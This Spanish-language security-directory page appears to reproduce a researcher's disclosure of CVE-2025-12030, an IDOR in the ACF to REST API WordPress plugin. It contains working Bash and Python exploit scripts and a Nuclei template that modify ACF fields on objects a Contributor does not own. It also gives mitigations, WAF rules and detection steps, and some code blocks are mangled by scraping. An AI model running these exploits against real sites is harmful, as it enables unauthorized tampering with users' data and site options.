Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-12030 — ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - Fallo de seguridad que permite a usuarios autenticados con acceso de nivel Colaborador modificar campos ACF en objetos que no poseen. | Kitploit
Herramientas/GitHubGitHub/snailsploit/cve-2025-12030
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y Educación
GitHubsnailsploit/cve-2025-12030

CVE-2025-12030

ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - Fallo de seguridad que permite a usuarios autenticados con acceso de nivel Colaborador modificar campos ACF en objetos que no poseen.

Ver Repositorio
1hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-12030: Referencia Directa Insegura a Objetos en el Plugin ACF to REST API de WordPress

CVE CVSS Score WordPress Plugin CWE-639 Wordfence

Palabras clave: CVE-2025-12030, vulnerabilidad de ACF to REST API, IDOR, seguridad de WordPress, explotación autenticada, vulnerabilidad de plugin de WordPress, CWE-639, modificación de campos ACF, omisión de autorización, WordPress CVE 2025, Advanced Custom Fields, seguridad de la API REST

Tabla de contenidos

  • Descripción general
  • Detalles de la vulnerabilidad
  • Análisis técnico
  • Vector de ataque
  • Prueba de concepto
  • Guía de remediación
  • Detección
  • Métricas CVSS
  • Referencias
  • Créditos
  • Contacto de seguridad

Descripción general

Vulnerabilidad IDOR del Plugin ACF to REST API de WordPress (CVE-2025-12030) - Fallo de seguridad que permite a usuarios autenticados con acceso de nivel Colaborador modificar campos ACF en objetos que no poseen.

Se descubrió una vulnerabilidad de Referencia Directa Insegura a Objetos (IDOR) en el Plugin ACF to REST API de WordPress que permite a atacantes autenticados con privilegios mínimos modificar campos ACF en toda la instalación de WordPress.

Descubierto por: Kai Aizen (SnailSploit)
Publicado: 6 de enero de 2026
Puntuación CVSS: 4.3 (Medio)
CWE: CWE-639 - Omisión de autorización a través de clave controlada por el usuario
Plugin: ACF to REST API
Slug del plugin: acf-to-rest-api
Tipo de ataque: Referencia Directa Insegura a Objetos (IDOR)
Privilegios requeridos: Contributor+ (Ataque autenticado)

Detalles de la vulnerabilidad

Descripción

El plugin ACF to REST API para WordPress es vulnerable a Referencia Directa Insegura a Objetos en todas las versiones hasta la 3.3.4 inclusive. Esto se debe a verificaciones de capacidad insuficientes en el método update_item_permissions_check(), que solo verifica que el usuario actual tenga la capacidad edit_posts sin comprobar permisos específicos del objeto (por ejemplo, edit_post($id), edit_user($id), manage_options).

Impacto

Esta vulnerabilidad permite a atacantes autenticados con acceso de nivel Colaborador y superior:

  • Modificar campos ACF en publicaciones que no poseen - Evitar restricciones de propiedad de publicaciones
  • Modificar campos ACF en cualquier cuenta de usuario - Incluyendo cuentas de administrador
  • Modificar campos ACF en comentarios - Alterar metadatos de comentarios
  • Modificar campos ACF en términos de taxonomía - Cambiar campos personalizados de categorías/etiquetas
  • Modificar la página de opciones globales - Acceder a opciones ACF de todo el sitio sin la capacidad manage_options

Todas las modificaciones son posibles a través de los endpoints de la API REST /wp-json/acf/v3/{type}/{id}.

Versiones afectadas

  • Vulnerable: Todas las versiones ≤ 3.3.4
  • Parcheado: ⚠️ No hay parche conocido disponible

Métricas CVSS v3.1```

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

root@kitploit:~
| Métrica | Valor |
|--------|-------|
| Vector de ataque | Red (AV:N) |
| Complejidad de ataque | Baja (AC:L) |
| Privilegios requeridos | Bajos (PR:L) |
| Interacción del usuario | Ninguna (UI:N) |
| Alcance | No cambia (S:U) |
| Confidencialidad | Ninguna (C:N) |
| Integridad | Baja (I:L) |
| Disponibilidad | Ninguna (A:N) |

**Desglose de CVSS v3.1:**

- **Vector de ataque (AV):** Red - La vulnerabilidad puede explotarse de forma remota a través de una red
- **Complejidad de ataque (AC):** Baja - No se requieren condiciones especiales para la explotación
- **Privilegios requeridos (PR):** Bajos - Requiere autenticación de nivel Colaborador
- **Interacción del usuario (UI):** Ninguna - La explotación funciona sin interacción del usuario
- **Alcance (S):** No cambia - La vulnerabilidad solo afecta al componente vulnerable
- **Impacto de confidencialidad (C):** Ninguno - No hay divulgación de información
- **Impacto de integridad (I):** Bajo - Modificación no autorizada de los campos ACF
- **Impacto de disponibilidad (A):** Ninguno - Sin impacto en la disponibilidad

## Detalles técnicos

### Causa raíz de la vulnerabilidad

La vulnerabilidad existe en el método `update_item_permissions_check()` el cual realiza una autorización insuficiente:```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
    // VULNERABLE: Only checks generic edit_posts capability
    if ( current_user_can( 'edit_posts' ) ) {
        return true;
    }
    return false;
}

La implementación adecuada debe verificar los permisos específicos del objeto:```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );

root@kitploit:~
switch ( $type ) {
    case 'post':
        return current_user_can( 'edit_post', $id );
    case 'user':
        return current_user_can( 'edit_user', $id );
    case 'option':
        return current_user_can( 'manage_options' );
    // ... other object types
}
return false;

}

root@kitploit:~
### Endpoints Vulnerables

| Endpoint | Objetivo | Capacidad Requerida (Debería Ser) |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | Entradas | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | Páginas | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | Usuarios | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | Comentarios | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | Términos | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | Opciones | `manage_options` |

### Vector de Ataque```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json

{
    "fields": {
        "field_name": "malicious_value"
    }
}

La vulnerabilidad puede ser explotada a través de la API REST de WordPress por cualquier usuario autenticado con al menos el rol de Colaborador.

Prueba de concepto

⚠️ Solo con fines educativos y de pruebas autorizadas

Bash PoC```bash

#!/bin/bash

CVE-2025-12030 PoC - ACF to REST API IDOR

TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"

if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi

echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""

Encode credentials

AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)

Step 1: Read current ACF fields (verify access)

echo "[*] Step 1: Reading current ACF fields..." curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool

echo ""

Step 2: Attempt to modify ACF fields on post we don't own

echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..." RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
-H "Content-Type: application/json"
-d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')

echo "$RESPONSE" | python3 -m json.tool

echo "" if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!" else echo "[+] Not vulnerable or modification failed" fi

root@kitploit:~
### PoC en Python```python
#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""

import requests
import sys
import json
import base64

def exploit(target_url, username, app_password, target_id, target_type="posts"):
    """
    Exploit CVE-2025-12030 IDOR vulnerability
    
    Args:
        target_url: WordPress site URL
        username: Contributor-level username
        app_password: Application password
        target_id: ID of the object to modify (post, user, etc.)
        target_type: Type of object (posts, pages, users, options, etc.)
    """
    
    api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/{target_type}/{target_id}"
    
    # Create Basic Auth header
    credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
    headers = {
        "Authorization": f"Basic {credentials}",
        "Content-Type": "application/json"
    }
    
    print(f"[*] CVE-2025-12030 - ACF to REST API IDOR PoC")
    print(f"[*] Target: {target_url}")
    print(f"[*] Endpoint: {api_endpoint}")
    print(f"[*] Object Type: {target_type}")
    print(f"[*] Object ID: {target_id}\n")
    
    # Step 1: Read current ACF fields
    print("[*] Step 1: Reading current ACF fields...")
    try:
        response = requests.get(api_endpoint, headers=headers, timeout=10)
        if response.status_code == 200:
            print(f"[+] Current ACF fields:")
            print(json.dumps(response.json(), indent=2))
        else:
            print(f"[-] Failed to read fields: {response.status_code}")
            print(response.text)
    except requests.RequestException as e:
        print(f"[-] Error reading fields: {e}")
        return
    
    print("")
    
    # Step 2: Attempt IDOR modification
    print("[*] Step 2: Attempting unauthorized modification...")
    
    payload = {
        "fields": {
            "idor_test": "CVE-2025-12030_IDOR_VERIFIED"
        }
    }
    
    try:
        response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
        
        if response.status_code == 200:
            result = response.json()
            print(f"[+] Response:")
            print(json.dumps(result, indent=2))
            
            if "CVE-2025-12030_IDOR_VERIFIED" in str(result):
                print("\n[!] VULNERABLE: Successfully modified ACF fields via IDOR!")
                print("[!] Contributor-level user was able to modify objects they don't own!")
            else:
                print("\n[+] Modification request accepted - verify manually")
        else:
            print(f"[-] Request failed with status: {response.status_code}")
            print(f"Response: {response.text}")
            
    except requests.RequestException as e:
        print(f"[-] Error: {e}")

def test_options_page(target_url, username, app_password):
    """Test modification of global options page (requires manage_options normally)"""
    
    api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/options/options"
    
    credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
    headers = {
        "Authorization": f"Basic {credentials}",
        "Content-Type": "application/json"
    }
    
    print(f"\n[*] Testing Options Page IDOR...")
    print(f"[*] Endpoint: {api_endpoint}")
    print(f"[*] NOTE: This normally requires manage_options capability!\n")
    
    payload = {
        "fields": {
            "site_option_test": "CVE-2025-12030_OPTIONS_IDOR"
        }
    }
    
    try:
        response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
        
        if response.status_code == 200:
            print(f"[!] CRITICAL: Contributor modified global options page!")
            print(json.dumps(response.json(), indent=2))
        else:
            print(f"[-] Options modification failed: {response.status_code}")
            
    except requests.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 5:
        print(f"Usage: {sys.argv[0]} <target_url> <username> <app_password> <target_id> [type]")
        print(f"Example: {sys.argv[0]} https://example.com contributor xxxx-xxxx 42 posts")
        print(f"\nSupported types: posts, pages, users, comments, options")
        sys.exit(1)
    
    target_url = sys.argv[1]
    username = sys.argv[2]
    app_password = sys.argv[3]
    target_id = sys.argv[4]
    target_type = sys.argv[5] if len(sys.argv) > 5 else "posts"
    
    exploit(target_url, username, app_password, target_id, target_type)
    
    # Also test options page access
    if target_type != "options":
        test_options_page(target_url, username, app_password)

Remediación

Para Administradores del Sitio

Acción Inmediata Requerida:

⚠️ Actualmente no hay un parche oficial disponible para esta vulnerabilidad.

  1. Considera desinstalar el plugin si la funcionalidad de la API REST de ACF no es crítica.
  2. Restringe los registros de usuarios y revisa las cuentas existentes de Colaborador+.
  3. Implementa reglas de WAF para bloquear modificaciones no autorizadas de la API REST.
  4. Monitorea la actividad de la API REST en busca de modificaciones sospechosas de campos de ACF.
  5. Considera plugins alternativos con controles de autorización adecuados.

Mitigaciones Temporales

Opción 1: Deshabilitar Endpoints de la API REST mediante Código

Añade al functions.php de tu tema o a un plugin personalizado:

root@kitploit:~
add_filter('rest_endpoints', function($endpoints) {
    // Remove ACF REST API endpoints
    if (isset($endpoints['acf/v3'])) {
        unset($endpoints['acf/v3']);
    }
    if (isset($endpoints['acf/v3/options'])) {
        unset($endpoints['acf/v3/options']);
    }
    return $endpoints;
});
``````php
<?php
/**
 * Disable ACF to REST API write endpoints (CVE-2025-12030 mitigation)
 */
add_filter('acf/rest_api/item_permissions/update', function($permission, $request, $type) {
    // Only allow administrators to modify via REST API
    if (!current_user_can('manage_options')) {
        return new WP_Error(
            'rest_forbidden',
            __('You do not have permission to modify ACF fields via REST API.'),
            array('status' => 403)
        );
    }
    return $permission;
}, 10, 3);

Opción 2: Restringir mediante .htaccess```apache

Block ACF REST API modification endpoints for non-admins

RewriteEngine On RewriteCond %{REQUEST_METHOD} ^(PUT|POST|PATCH)$ RewriteCond %{REQUEST_URI} ^/wp-json/acf/v3/ [NC] RewriteCond %{HTTP_COOKIE} !wordpress_logged_in_.*admin [NC] RewriteRule .* - [F,L] ``` #### Opción 3: Configuración de Nginx```nginx # Block ACF REST API modification requests location ~* ^/wp-json/acf/v3/ { if ($request_method ~* "(PUT|POST|PATCH)") { # Implement proper authorization check or block entirely return 403; } try_files $uri $uri/ /index.php?$args; } ``` ### Para Desarrolladores de Plugins

Si bifurcas o parcheas el plugin, implementa una autorización adecuada específica del objeto:```php

get_param( 'id' ); $type = $this->get_object_type( $request ); switch ( $type ) { case 'post': case 'page': // Check if user can edit THIS specific post if ( ! current_user_can( 'edit_post', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'user': // Check if user can edit THIS specific user if ( ! current_user_can( 'edit_user', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this user.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'option': // Options require manage_options capability if ( ! current_user_can( 'manage_options' ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to manage options.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'term': $taxonomy = $request->get_param( 'taxonomy' ); $tax_obj = get_taxonomy( $taxonomy ); if ( ! current_user_can( $tax_obj->cap->edit_terms ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit terms.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'comment': if ( ! current_user_can( 'edit_comment', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } break; default: return new WP_Error( 'rest_invalid_type', __( 'Invalid object type.' ), array( 'status' => 400 ) ); } return true; } ``` ## Detección ### Análisis de registros Buscar actividad sospechosa en la API REST:```bash # Search access logs for ACF REST API modification attempts grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/nginx/access.log grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/apache2/access.log ``` ### Verificación de plugins de WordPress```bash # Check if vulnerable version is installed wp plugin list | grep -i "acf-to-rest-api" # Get plugin version wp plugin get acf-to-rest-api --field=version ``` ### Reglas del Escáner de Seguridad **Nuclei Template:**```yaml id: CVE-2025-12030 info: name: ACF to REST API - IDOR ACF Field Modification author: SnailSploit severity: medium description: ACF to REST API plugin for WordPress is vulnerable to IDOR reference: - https://github.com/SnailSploit/CVE-2025-12030 - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification tags: cve,cve2025,wordpress,wp-plugin,idor,authenticated http: - raw: - | POST /wp-json/acf/v3/posts/1 HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(username + ':' + password)}} Content-Type: application/json {"fields":{"nuclei_test":"CVE-2025-12030"}} matchers-condition: and matchers: - type: word words: - "acf" condition: or - type: status status: - 200 ``` ### Reglas de Firewall de Aplicaciones Web **Regla de ModSecurity:**```apache # CVE-2025-12030 - Block unauthorized ACF REST API modifications SecRule REQUEST_URI "@rx ^/wp-json/acf/v3/" \ "id:2025012030,\ phase:2,\ t:none,t:urlDecodeUni,t:normalizePathWin,\ chain,\ deny,\ status:403,\ log,\ msg:'CVE-2025-12030 - Potential ACF IDOR Exploit Attempt'" SecRule REQUEST_METHOD "@rx ^(POST|PUT|PATCH)$" "t:none" ``` ## Cronología - **6 de enero de 2026** - Vulnerabilidad divulgada públicamente - **6 de enero de 2026** - Asignado CVE-2025-12030 - **Actual** - ⚠️ Sin parche disponible ## Referencias - [Wordfence Intelligence - CVE-2025-12030](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification) - [WordPress Plugin Trac - ACF to REST API](https://plugins.trac.wordpress.org/browser/acf-to-rest-api) - [Directorio de Plugins de WordPress](https://wordpress.org/plugins/acf-to-rest-api/) - [CWE-639 - Omisión de Autorización Mediante Clave Controlada por el Usuario](https://cwe.mitre.org/data/definitions/639.html) - [OWASP - Referencia Directa Insegura a Objetos](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References) ## Créditos **Investigador:** - [**Kai Aizen**](https://linkedin.com/in/kaiaizen) - [SnailSploit](https://snailsploit.com) **Proceso de divulgación:** Coordinado a través del Programa de Bug Bounty de Wordfence ## Aviso legal Esta información se proporciona únicamente con fines de investigación en seguridad y defensa. Cualquier explotación de esta vulnerabilidad con fines maliciosos es ilegal y poco ética. Siempre obtenga la autorización adecuada antes de probar sistemas que no posea. ## Contacto Para preguntas o información adicional sobre esta vulnerabilidad: - **Correo electrónico:** [[email protected]](mailto:[email protected]) - **Sitio web:** [snailsploit.com](https://snailsploit.com) - **Organización:** SnailSploit Security Research --- *Última actualización: 6 de enero de 2026* --- ## 📚 Documentación y Autor El informe completo de este proyecto, la metodología y la investigación relacionada se encuentra en: **[https://snailsploit.com/security-research/cves/cve-2025-12030/](https://snailsploit.com/security-research/cves/cve-2025-12030/)** Creado por **Kai Aizen** — investigador independiente de seguridad ofensiva. [snailsploit.com](https://snailsploit.com) · [Investigación](https://snailsploit.com/research) · [Marcos de trabajo](https://snailsploit.com/frameworks) · [GitHub](https://github.com/SnailSploit) · [LinkedIn](https://linkedin.com/in/kaiaizen) · [ResearchGate](https://www.researchgate.net/profile/Kai-Aizen-2) · [X/Twitter](https://x.com/SnailSploit) > *El mismo ataque. Diferente sustrato.*
Descargar herramienta